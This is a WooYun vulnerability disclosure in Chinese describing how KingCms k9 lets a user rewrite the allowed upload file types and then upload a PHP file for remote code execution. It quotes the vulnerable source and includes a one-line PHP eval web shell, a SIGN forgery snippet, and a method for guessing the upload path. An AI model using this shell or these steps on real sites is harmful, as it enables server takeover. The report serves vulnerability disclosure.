当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102234

漏洞标题:KingCms最新版(k9)越权操作可轻松GetShell#2

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-19 14:28

修复时间:2015-05-03 14:30

公开时间:2015-05-03 14:30

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)越权操作可轻松GetShell#2

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
来看看这次shell是如何发生的吧,此漏洞一共涉及到两个大的问题,一个是越权修改后台配置,另一个是文件上传导致GetShell
0x00:先来看第一个问题
问题文件在/user/manage.php

function _upconfig(){
$u=new user;$u->auth_role('admin');
if(!kc_validate($_POST['imagesize'],2)) kc_tip('上传图片上限必须为数字!','form');
if(!kc_validate($_POST['filesize'],2)) kc_tip('上传文件上限必须为数字!','form');
if(!kc_validate($_POST['image_width'],2)) kc_tip('自动压缩图片宽度必须为数字!','form');
if(!kc_validate($_POST['image_height'],2)) kc_tip('自动压缩图片高度必须为数字!','form');
$db=new db;
$res=$db->getRows('%s_config','name',"class='up'");
foreach($res as $rs){
$db->update('%s_config',array('value'=>kc_post($rs['name'])),"class='up' and name='{$rs['name']}'");//注释1:这里把用户输入的filetype写入了数据库
}
$db->update('%s_config',array('value'=>empty($_POST['upfile'])?0:1),"class='switch' and name='upfile'");
$db->update('%s_config',array('value'=>empty($_POST['upimage'])?0:1),"class='switch' and name='upimage'");
$db->update('%s_config',array('value'=>$_POST['image_width']),"class='system' and name='image_width'");
$db->update('%s_config',array('value'=>$_POST['image_height']),"class='system' and name='image_height'");
kc_ajax(array('JS'=>"\$.kc_close();alert('成功更新上传设置!');\$('.Submit').removeAttr('disabled');"));
}


上面代码中的“注释1”处,把用户提交的filetype写入了数据库,如果用户提交的filetype为php的话,那就可以上传php文件了。过程如图

后台修改上传设置副本.jpg


0x01:再来看看文件是怎么上传的

$err = "";
$msg = "''";
$u=new user;
if($u->auth_group('user_upfile',true)==false) $err='您所在会员组会员无权上传文件';
$userid=$u->info['userid'];
$upfile=@$_FILES[$inputname];
if(!isset($upfile))$err='文件域的name错误';
elseif(!empty($upfile['error']))
{
无关代码
}
elseif(empty($upfile['tmp_name']) || $upfile['tmp_name'] == 'none')$err = '无文件上传';
else
{
$temppath=$upfile['tmp_name'];
$extension=strtolower(substr($upfile['name'],strrpos($upfile['name'],'.')+1));
echo str_replace(',','|',$upext);
if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))
{
$maxattachsize=5242880;
$bytes=$upfile['size'];//filesize($temppath);
if($bytes > $maxattachsize)$err='请不要上传大小超过'.formatBytes($maxattachsize).'的文件';
else
{
//创建目录
$attach_subdir =gmdate('y/m/d');
$attach_dir = PATH_UP.'/'.$attach_subdir;
$attach_subdirs=explode('/',$attach_subdir);
$attach_temp=ROOT.PATH_UP;
foreach($attach_subdirs as $r){
$attach_temp.='/'.$r;
if(!is_dir($attach_temp))
{
@mkdir($attach_temp, 0777);
@fclose(fopen($attach_temp.'/index.html', 'w'));
}
}
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
$filename=gmdate("His").mt_rand(1000,9999).'.'.$extension;
$target = $attach_dir.'/'.$filename;
//rename($upfile['tmp_name'],ROOT.$target);
rename($temppath,ROOT.$target);
无关代码


整个上传的过程简单来说是这样实现的:
1:获取允许上传的文件类型
2:获取上传文件的类型
3:判断文件是否允许上传(因为修改了配置,所以这里php文件是可以上传的)
4:上传后文件的路径
5:上传后文件的名字
然后分析第4、5步,可以得到文件上传的路径是以当前时间定义的,比如今天是2015-03-16,上传后文件的路径是/upfiles/15/03/16,文件是名字也是根据gmdate()获得格林威治时间,然后再加四位随机数,当然文件上传后可以通过文件属性获得其路径,也可以遍历这4个随机数(毕竟样本太少了,秒遍历啊)。
上传个php文件看看,内容为

<?php 
eval($_POST["p"]);
?>


注意,URL中的一个参数SIGN是这样计算出来的

<?php
$str="10000";//10000即POST参数中的USERID
$str.="kingcms.com";//网站域名
$SIGN=md5($str);
?>


上传文件副本.jpg


上传成功后就可以为所欲为了,大马、菜刀…,这里测试一下吧

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝